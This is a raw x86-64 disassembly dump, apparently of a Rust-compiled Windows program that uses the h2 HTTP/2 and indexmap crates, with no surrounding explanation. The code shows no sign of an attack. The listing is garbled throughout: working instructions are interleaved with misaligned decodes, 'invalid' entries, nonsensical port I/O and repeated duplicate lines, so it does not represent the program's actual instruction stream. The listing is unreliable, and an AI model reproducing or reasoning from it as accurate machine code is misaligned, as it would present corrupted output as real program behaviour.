mov eax, dword [rbx + 0x124]
mov ecx, eax
add ecx, r13d
jo 0x14009b67e
mov dword [rbx + 0x124], ecx
mov esp, dword [rcx + rax]
add byte [rax], al
mov eax, ecx
test r13d, r13d
mov edx, dword [rsp + 0x80]
mov r9d, dword [rsp + 0x44]
je 0x14009b6ba
mov rcx, qword [rsp + 0x100]
mov ecx, dword [rcx]
sub ecx, r13d
mov word [rax + rax], fs
add dword [rax], eax
add byte [rbx - 0x16d6bbf7], cl
jl 0x14009cd92
jo 0x14009b6ba
mov r8, qword [rsp + 0x100]
mov dword [r8], ecx
sub eax, r13d
jo 0x14009b6ba
mov dword [rbx + 0x124], eax
and al, 1
add byte [rax], al
movq rax, xmm12
test rsi, rsi
invalid
je 0x14009b6e4
div byte [rax + riz + 0x44]
mov ecx, esi
mov ecx, r14d
cmp rsi, 1
jne 0x14009b6fc
pshufd xmm0, xmm13, 0xee
pshufw mm0, mm5, 0xee
movq rcx, xmm0
sub rcx, rax
mov eax, 0
cmovae rax, rcx
mov ecx, r14d
and cl, 0xfe
cmp rax, qword [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xc6
movzx ecx, cl
cmovbe ecx, eax
mov dword [rsp + 0xac], ecx
and r14b, 1
lodsb al, byte [rsi]
add byte [rax], al
add byte [rcx - 0x80], al
out 1, al
mov ecx, esi
shr ecx, 0x10
mov rax, rsi
shr rax, 0x20
mov qword [rsp + 0xd8], rax
and al, 0xd8
add byte [rax], al
invalid
and al, 0xd8
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
fadd dword [rax]
add byte [rax], al
xor r13d, r13d
mov eax, ebp
mov dword [rsp + 0x78], ebp
insb byte [rdi], dx
and al, 0x78
insb byte [rdi], dx
and al, 0x78
mov eax, r15d
mov dword [rsp + 0x7c], r15d
mov byte [rsp + 0x4b], r14b
mov r14d, ecx
movzx eax, byte [rsp + 0x330]
cmp eax, 9
jbe case.0x1400964c6.85
adc al, byte [rcx]
add byte [rax], al
adc al, byte [rcx]
add byte [rax], al
jmp 0x14009b865
add byte [rax], al
mov esi, dword [rsp + 0x338]
mov r14d, dword [rsp + 0x33c]
and al, 0x3c
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x17], al
and al, 0x3c
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x17], al
dec ecx
lea rdx, [0x140177d6c]
lea edx, [0x140177d6c]
lea edx, [0x140177d6c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
mov esi, esi
shr r14d, 0x10
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
and al, 0x42
and al, 0x42
mov byte [rsp + 0x43], al
jmp 0x14009ba00
invalid
add al, byte [rax]
invalid
imul eax, dword [rdx], 0x89440000
cdq
add byte [rax], 0
add byte [rcx + rbp - 0x18], al
mov dword [rcx + 0x80], r11d
sub eax, r13d
movzx r11d, byte [rsp + 0x42]
jo 0x14009b60b
mov dword [rcx + 0x84], eax
test eax, eax
mov r8d, 0
add byte [rax], al
add byte [rax], al
mov eax, 0
add byte [rax], al
add byte [rax], al
cmovle eax, r8d
cmp rax, r10
cmovb r10, rax
mov r8, r10
jmp 0x14009b60b
mov rcx, qword [rsp + 0x100]
lea rdx, [rsp + 0xf0]
lea edx, [rsp + 0xf0]
call fcn.140020f60
push rdi
clc
invalid
push rdi
clc
inc dword [rcx + rcx*4 + 0x74]
and al, 0x78
invalid
mov dword [rsp + 0x78], r14d
js 0x14009b82a
mov r14d, esi
mov esi, esi
shr r14d, 0x10
mov rax, rsi
shr rax, 0x20
mov qword [rsp + 0xd8], rax
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
mov eax, dword [rsp + 0x2d0]
mov ecx, dword [rsp + 0x2d3]
and al, 0xd0
add al, byte [rax]
add byte [rbx + 0x2d3248c], cl
add byte [rax], al
mov dword [rsp + 0x11b], ecx
and al, 0x1b
add dword [rax], eax
add byte [rcx + 0x1182484], cl
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x118], eax
mov r8d, 0xcd
lea rcx, [rsp + 0x598]
and al, 0x98
add eax, 0x8d480000
xchg esp, eax
and al, 0x60
add al, 0
invalid
xchg esp, eax
and al, 0x60
add al, 0
add al, ch
call fcn.140106250
mov r13b, 3
mov edx, dword [rsp + 0x80]
call fcn.140106250
mov r13b, 3
mov edx, dword [rsp + 0x80]
mov r9d, dword [rsp + 0x44]
movzx r11d, byte [rsp + 0x42]
pop rsp
and al, 0x42
pop rsp
and al, 0x42
movzx eax, byte [rsp + 0x330]
cmp eax, 9
ja 0x14009b865
mov ecx, 0x209
bt ecx, eax
jb 0x14009bac0
lea rcx, [rsp + 0x330]
mov ebx, edx
mov dword [rsp + 0x50], r14d
mov word [rax + rsi], fs
add eax, dword [rax]
add byte [rcx + 0x748944d3], cl
and al, 0x50
mov r14d, r9d
mov byte [rsp + 0x42], r11b
call fcn.140087620
invalid
inc dword [rdi + rcx - 0x4a]
pop rsp
and al, 0x42
mov r9d, r14d
mov r14d, dword [rsp + 0x50]
mov edx, ebx
fimul dword [rax - 0x75]
pop rsp
and al, 0x68
invalid
fimul dword [rax - 0x75]
pop rsp
and al, 0x68
jmp 0x14009bac0
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x4a
jrcxz case.0x140093e62.45
mov word [rsi + rcx*4], fs
add byte [rax], al
add byte [rdi], cl
mov bh, 0x4a
loope 0x14009b919
loope 0x14009b919
mov dword [rsp + 0x8c], ecx
mov edx, eax
mov r9d, dword [rsp + 0x4c]
invalid
add byte [rax], al
add byte [rcx + 0x4c8b44c2], cl
and al, 0x4c
invalid
movzx r11d, byte [rsp + 0x44]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm9
outsd dx, dword [rsi]
jmp 0x1af18fe3f
loopne 0x14009b91f
mov esi, dword [rsp + 0x50]
jmp 0x14009bac0
outsd dx, dword [rsi]
jmp 0x1af18fe3f
mov eax, esi
shr eax, 0x10
mov dword [rsp + 0x50], eax
movdqu xmm13, xmmword [rsp + 0x340]
add eax, dword [rax]
add bl, dh
movq mm4, qword [rsp + 0x350]
add eax, dword [rax]
add bl, dh
movq mm4, qword [rsp + 0x350]
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0xd0], rax
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rbx + 0x3682484], cl
and al, 0x68
add eax, dword [rax]
invalid
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rbx + 0x3682484], cl
and al, 0x68
add eax, dword [rax]
invalid
mov dword [rsp + 0x78], eax
and al, 0x78
mov eax, dword [rsp + 0x36c]
and al, 0x6c
add eax, dword [rax]
add byte [rcx + 0xf7c2444], cl
mov dword [rsp + 0x7c], eax
movzx eax, byte [rsp + 0x370]
jo 0x14009b930
add byte [rax], al
mov byte [rsp + 0x4b], al
lea rcx, [rsp + 0x371]
mov dword [rsp + 0x7c], eax
movzx eax, byte [rsp + 0x370]
jo 0x14009b930
add byte [rax], al
jo 0x14009b930
add byte [rax], al
mov byte [rsp + 0x4b], al
and al, 0x4b
lea rcx, [rsp + 0x371]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x11b], ecx
add dword [rax], eax
add byte [rbx + 0x3782484], cl
test byte [rax + rdi*2], ah
add eax, dword [rax]
add byte [rcx + 0xf442444], cl
mov dh, 0x9c
pushfq
and al, 0x7c
add eax, dword [rax]
add byte [rax], al
pushfq
and al, 0x7c
add eax, dword [rax]
add byte [rax], al
movzx eax, byte [rsp + 0x37d]
mov byte [rsp + 0x43], al
invalid
mov dh, 0x84
and al, 0x7e
movzx eax, byte [rsp + 0x37d]
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x37e]
add eax, dword [rax]
add byte [rcx + 0xac2484], cl
add byte [rax], al
add eax, dword [rax]
add byte [rcx + 0xac2484], cl
add byte [rax], al
mov r8d, 0xcd
lea rcx, [rsp + 0x598]
lea ecx, [rsp + 0x598]
lea ecx, [rsp + 0x598]
lea rdx, [rsp + 0x37f]
call fcn.140106250
mov ecx, 0x410006a8
mov ebx, ebx
mov r11d, ebx
mov r9d, dword [rsp + 0x44]
mov eax, dword [rsp + 0x44c]
add al, 0
add byte [rcx + 0xa82484], cl
add byte [rax], al
add al, 0
add byte [rcx + 0xa82484], cl
add byte [rax], al
mov rax, qword [rsp + 0x450]
add byte [rax], al
mov qword [rsp + 0x290], rax
add byte [rax], al
mov eax, r14d
mov qword [rsp + 0xd8], rax
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], al
and al, 0x50
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], al
and al, 0x50
mov rbx, qword [rsp + 0x68]
jmp 0x14009bab1
mov ecx, esi
shr ecx, 0x10
adc byte [rcx + 0x4c8b44c2], cl
and al, 0x4c
adc byte [rcx + 0x4c8b44c2], cl
and al, 0x4c
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
and al, 0x42
and al, 0x42
mov byte [rsp + 0x43], al
mov eax, r14d
mov qword [rsp + 0xd8], rax
mov r14d, ecx
mov esi, ecx
movdqa xmm13, xmm9
movdqa xmm12, xmm8
jmp 0x14009bac0
movq mm4, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x360]
mov qword [rsp + 0xd0], rcx
mov ecx, dword [rsp + 0x368]
mov dword [rsp + 0x78], ecx
and al, 0x78
and al, 0x78
mov ecx, dword [rsp + 0x36c]
mov dword [rsp + 0x7c], ecx
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
mov eax, r14d
mov qword [rsp + 0xd8], rax
mov r14d, r8d
jmp 0x14009bac0
mov edx, dword [rsp + 0x80]
nop dword [rax + rax]
mov dword [rsp + 0x80], edx
mov dword [rsp + 0xc0], ebp
mov dword [rsp + 0xc4], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009cc05
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3680
mov r15, rdx
test rax, rax
jne 0x14009c10d
test r15, r15
jne 0x14009c10d
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x58]
mov r9, rdi
call fcn.1400a42d0
test al, al
jne 0x14009aa50
jmp 0x14009c108
mov rcx, rsi
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009a138
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x14009a146
jmp 0x14009cc47
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009a17b
call fcn.140110270
xor al, 1
mov dword [rsp + 0xa4], eax
jmp 0x14009a186
xor r15d, r15d
xor eax, eax
movzx ecx, byte [rsp + 0x42]
test rax, rax
mov byte [rsp + 0x42], cl
jne 0x14009c194
test r15, r15
jne 0x14009c194
mov rax, qword [r12]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rsi, rax
mov r14, rdx
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x14009c149
mov rcx, qword [rbx + 0x1c0]
call qword [rax + 0x18]
mov qword [rbx + 0x1b8], rsi
mov qword [rbx + 0x1c0], r14
cmp byte [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x2d8]
jne 0x14009c17c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c405
xor eax, eax
xchg byte [rsi], al
mov rcx, rsi
mov r15d, 0
mov esi, 0
cmp al, 2
je 0x14009c1c4
jmp 0x14009c1ca
mov rsi, rax
cmp byte [rsp + 0xa4], 0
jne 0x14009c1b4
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c3ee
xor eax, eax
mov rcx, qword [rsp + 0x2d8]
xchg byte [rcx], al
cmp al, 2
jne 0x14009c1ca
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x300], 0
jne 0x14009c1e7
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c3b4
xor eax, eax
mov rcx, qword [rsp + 0x578]
xchg byte [rcx], al
cmp al, 2
jne 0x14009c1fd
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rsi, rsi
jne 0x14009c423
test r15, r15
jne 0x14009c8b3
invalid
add byte [rax], al
invalid
mov rax, qword [rsp + 0x2e0]
cmp qword [rax], 0
mov rsi, qword [rsp + 0x110]
add dword [rax], eax
add byte [rbp + 0x2a], dh
add dword [rax], eax
add byte [rbp + 0x2a], dh
cmp byte [rdi + 0x3dc], 0
jne 0x14009c423
cmp dword [rdi + 0x3d0], 0
je 0x14009c423
rol byte [rbx], 1
add byte [rax], al
add byte [rdi], cl
test ah, ah
add dword [rax], eax
add byte [rcx + 0x3d4bf], al
add bh, bh
invalid
cmp dword [rdi + 0x3d4], 0x7fffffff
je 0x14009c423
mov rdi, qword [rdi + 0x408]
lea rcx, [rdi + 0x10]
xor eax, eax
mov dl, 1
lock cmpxchg byte [rdi + 0x10], dl
jne 0x14009c338
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c35e
xor eax, eax
movzx edx, byte [rdi + 0x11]
test dl, dl
ror byte [rdi], cl
test dword [rbx], esp
or al, byte [rax]
invalid
ror byte [rdi], cl
test dword [rbx], esp
or al, byte [rax]
add byte [rbx + 0x7f834801], dh
xor byte [rax], al
mov bl, 1
cmp qword [rdi + 0x30], 0
je 0x14009c299
test al, al
jne 0x14009c2b8
sal byte [rbp + 0x21], 0xeb
or al, 0x48
cmp dword [rdi + 0x40], 0
jmp 0x14009c2a5
cmp qword [rdi + 0x40], 0
setne bl
test al, al
jne 0x14009c2b8
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c3ca
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14009c2c6
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
mov rdi, qword [rsp + 0x108]
jne 0x14009c423
mov rcx, qword [rdi + 0x408]
add rcx, 0x10
call fcn.140099750
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x144], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [0x14013db38]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
lea rax, [rsp + 0x130]
movups xmmword [rax], xmm6
mov rcx, qword [rsp + 0x2e8]
lea rdx, [rsp + 0x120]
call fcn.14001f660
jmp 0x140099a70
mov rsi, rcx
call fcn.1401101b0
mov rcx, rsi
mov rsi, qword [rsp + 0x110]
mov esi, dword [rsp + 0x110]
mov esi, dword [rsp + 0x110]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009c27c
mov rsi, rcx
call fcn.140110270
mov rcx, rsi
mov rsi, qword [rsp + 0x110]
xor al, 1
movzx edx, byte [rdi + 0x11]
test dl, dl
je 0x14009c28a
jmp 0x14009ccad
and al, 0x42
movdqa xmm10, xmm13
movdqa xmm11, xmm12
cmp byte [rsp + 0xa4], 0
jne 0x14009c1b4
jmp 0x14009c1a1
call fcn.140110270
test al, al
jne 0x14009c1e7
mov byte [rbx + 0x11], 1
jmp 0x14009c1e7
mov rsi, rcx
call fcn.140110270
mov rcx, rsi
mov rsi, qword [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rax + rax*8 - 0x12c7af1], al
invalid
invalid
and al, 0x10
add dword [rax], eax
add byte [rax + rax*8 - 0x12c7af1], al
invalid
mov byte [rdi + 0x11], 1
jmp 0x14009c2b8
invalid
invalid
invalid
call fcn.140110270
test al, al
jne 0x14009c1b4
mov byte [r14 + 0x11], 1
jmp 0x14009c1b4
call fcn.140110270
test al, al
jne 0x14009c17c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x11], 1
jmp 0x14009c17c
mov rax, qword [rsp + 0xe0]
mov byte [rax], 4
mov rax, qword [rsp + 0x548]
cmp rax, 2
jne 0x14009c717
test edi, edx
add al, byte [rax]
invalid
test edi, edx
add al, byte [rax]
add cl, ch
invalid
jmp 0x14009c7a7
mov ebp, dword [rdi + 0x404]
movzx ebx, byte [rdi + 0x401]
mov rcx, qword [rsp + 0x2e0]
mov ecx, dword [rsp + 0x2e0]
mov ecx, dword [rsp + 0x2e0]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x140], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rdi + 0x418], 0
mov rax, qword [rsp + 0x120]
test rax, rax
je 0x14009c563
lea rsi, [rsp + 0x138]
mov r8, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
lea rcx, [rsp + 0x330]
mov rdx, rsi
call qword [rax]
mov edi, dword [rsp + 0x144]
mov rax, qword [rsp + 0x120]
movups xmm0, xmmword [rsp + 0x330]
movups xmm1, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x470], xmm1
movaps xmmword [rsp + 0x460], xmm0
test rax, rax
je 0x14009c508
mov rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x77], cl
int1
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x77], cl
int1
call qword [rax + 0x10]
mov eax, edi
or eax, ebp
je 0x14009c5d0
test edi, edi
je 0x14009c5c0
movapd xmm0, xmmword [rsp + 0x460]
movaps xmm1, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0x120], xmm1
mov bl, 2
mov sil, 1
mov ebp, edi
jmp 0x14009c60b
mov rcx, qword [rsp + 0xe0]
call fcn.14001a420
mov rax, qword [rsp + 0x548]
add rax, 0xffffffff83480000
clc
add cl, byte [rdi]
invalid
invalid
add dword [rax], eax
invalid
add rax, 0xffffffff83480000
clc
add cl, byte [rdi]
test dword [rcx - 0x16ffffff], edi
add r8b, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xa15ce
jmp 0x14009c7a7
lea rax, [0x14013db38]
mov qword [rsp + 0x330], rax
add byte [rax], al
mov qword [rsp + 0x338], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
mov dword [rsp + 0x350], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x470], eax
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x470], eax
mov rax, qword [rsp + 0x330]
xor byte [rbx], al
add byte [rax], al
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x468], rax
test ebp, ebp
je 0x14009c5d0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x120], xmm0
mov sil, 1
mov dh, 1
jmp 0x14009c5d3
mov sil, 3
lea rcx, [rsp + 0x478]
mov rax, qword [rsp + 0x460]
mov eax, dword [rsp + 0x460]
add byte [rax], al
mov rdx, qword [rsp + 0x468]
mov r8, qword [rsp + 0x470]
add al, 0
add bh, bh
push rax
adc byte [rax - 0x73], cl
add eax, 0xa153b
add al, 0
add bh, bh
push rax
adc byte [rax - 0x73], cl
add eax, 0xa153b
movq xmm0, rax
shufpd xmm0, xmmword [0x1401128a0], 2
outsb dx, byte [rsi]
shl byte [rsi + 0xf], 0xc6
add eax, 0x76295
add cl, byte [rax - 0x75]
test byte [rax + riz*8], ah
mov rax, qword [rsp + 0xe0]
mov byte [rax], sil
mov byte [rax + 1], bl
mov dword [rax + 4], ebp
movupd xmmword [rax + 8], xmm0
invalid
add byte [rax], al
add byte [rax - 0x78], al
xor byte [rax + 0x68890158], cl
add al, 0x66
movups xmmword [rax + 8], xmm0
invalid
or byte [rdi], cl
sub byte [rsp + 0x120], al
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rax + 0x18], xmm0
mov rax, qword [rsp + 0x548]
and al, 0x48
add eax, 0x83480000
clc
add cl, byte [rdi]
test eax, ebx
add byte [rax], al
invalid
and al, 0x48
add eax, 0x83480000
clc
add cl, byte [rdi]
test eax, ebx
add byte [rax], al
add cl, ch
invalid
jmp 0x14009c7a7
mov r14, r8
shl r15, 0x20
or r15, r9
movabs rsi, 0x8000000000000000
cmp r15, rsi
je 0x14009c6ab
invalid
movq rsi, xmm12
test rsi, rsi
je 0x14009c698
js 0x14009cdce
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400dfbe0
test rax, rax
je 0x14009cdd3
mov rdi, rax
jmp 0x14009c69d
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.1401082d0
mov edi, 1
mov rdx, r14
mov rcx, rdi
mov r8, rsi
call fcn.140106250
mov byte [rsp + 0x121], bl
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rdi
movq qword [rsp + 0x138], xmm12
add dh, al
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax], al
invalid
add dh, al
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add cl, byte [rax - 0x73]
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdx*2], fs
add eax, dword [rax]
add al, ch
invalid
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x350]
call fcn.1400a31b0
mov rax, qword [rsp + 0xe0]
mov byte [rax + 1], bl
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
movq qword [rax + 0x18], xmm12
mov byte [rax], 2
mov rax, qword [rsp + 0x548]
cmp rax, 2
je 0x14009c7a7
lea rdx, [rsp + 0x560]
mov rsi, qword [rsp + 0x550]
mov rdi, qword [rsp + 0x558]
test rax, rax
je 0x14009c790
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
and eax, 0xfffffff0
and eax, 0xfffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x560]
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x80]
mov rax, qword [rsp + 0x550]
lock dec qword [rax]
jne 0x14009c7a7
mov rcx, qword [rsp + 0x550]
mov rdx, qword [rsp + 0x558]
call fcn.140005050
jmp 0x14009c7a7
mov rcx, rsi
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x560]
mov rcx, rsi
call qword [rdi + 0x80]
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
je 0x14009c859
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [rsp + 0x2b0]
test r8, r8
je 0x14009c7e8
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
je 0x14009c859
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2a8]
mov eax, 0x48000002
mov ecx, dword [rsp + 0x2a8]
mov rax, qword [rsp + 0x2b0]
test r8, r8
je 0x14009c853
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x2a8]
lock dec qword [rax]
jne 0x14009c859
mov rcx, qword [rsp + 0x2a8]
mov rdx, qword [rsp + 0x2b0]
call fcn.140005050
jmp 0x14009c859
call qword [rax + 0x80]
movaps xmm6, xmmword [rsp + 0x760]
movaps xmm7, xmmword [rsp + 0x770]
movaps xmm8, xmmword [rsp + 0x780]
movaps xmm9, xmmword [rsp + 0x790]
movaps xmm10, xmmword [rsp + 0x7a0]
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xb0
invalid
add byte [rax], al
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xb0
invalid
movaps xmm3, xmmword [rsp + 0x7b0]
movaps xmm12, xmmword [rsp + 0x7c0]
movaps xmm13, xmmword [rsp + 0x7d0]
rol byte [rdi], 1
add byte [rax], al
rol byte [rdi], 1
add byte [rax], al
add rsp, 0x7e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0xe0]
mov rdx, r15
call fcn.14001a420
mov rax, qword [rsp + 0x548]
cmp rax, 2
jne 0x14009c717
jmp 0x14009c7a7
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.1401082d0
invalid
add byte [rax - 0x73], cl
test byte [rsp + rbx*4], ah
add eax, 0x89480000
test byte [rax + rsi], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0xfff7eb03
lea rax, [rsp + 0x59c]
mov qword [rsp + 0x330], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x338], rax
lea rax, str.dangling_store_key_for_stream_id
lea eax, [0x1401285f0]
lea eax, [0x1401285f0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x330]
mov qword [rsp + 0x130], rax
mov dword [rsp + 0x130], eax
mov qword [rsp + 0x138], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x120]
call fcn.140108280
lea rax, [rsp + 0x59c]
mov qword [rsp + 0x330], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x338], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x330]
jmp 0x14009c9fa
and al, 0x20
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi], ah
add eax, dword [rax]
add bl, ch
lea rax, [rsp + 0xf4]
lea rax, [rsp + 0xf4]
mov qword [rsp + 0xc0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0xc8], rax
add byte [rax], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x120], rax
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
and al, 0x28
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
and al, 0x28
and al, 0x28
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8bbeb
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x120]
call fcn.140108280
lea rax, [rsp + 0x30c]
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfff7e9c7
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfff7e9c7
mov qword [rsp + 0x268], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], 1
mov qword [rsp + 0x480], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x460]
call fcn.140108280
lea rax, [rsp + 0x30c]
mov qword [rsp + 0x260], rax
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfff7e951
mov qword [rsp + 0x268], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], 1
mov qword [rsp + 0x480], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x470], rax
add byte [rax - 0x39], cl
test byte [rax + rdi*2], ah
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8bb17
invalid
add byte [rax - 0x39], cl
test byte [rax + rdi*2], ah
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
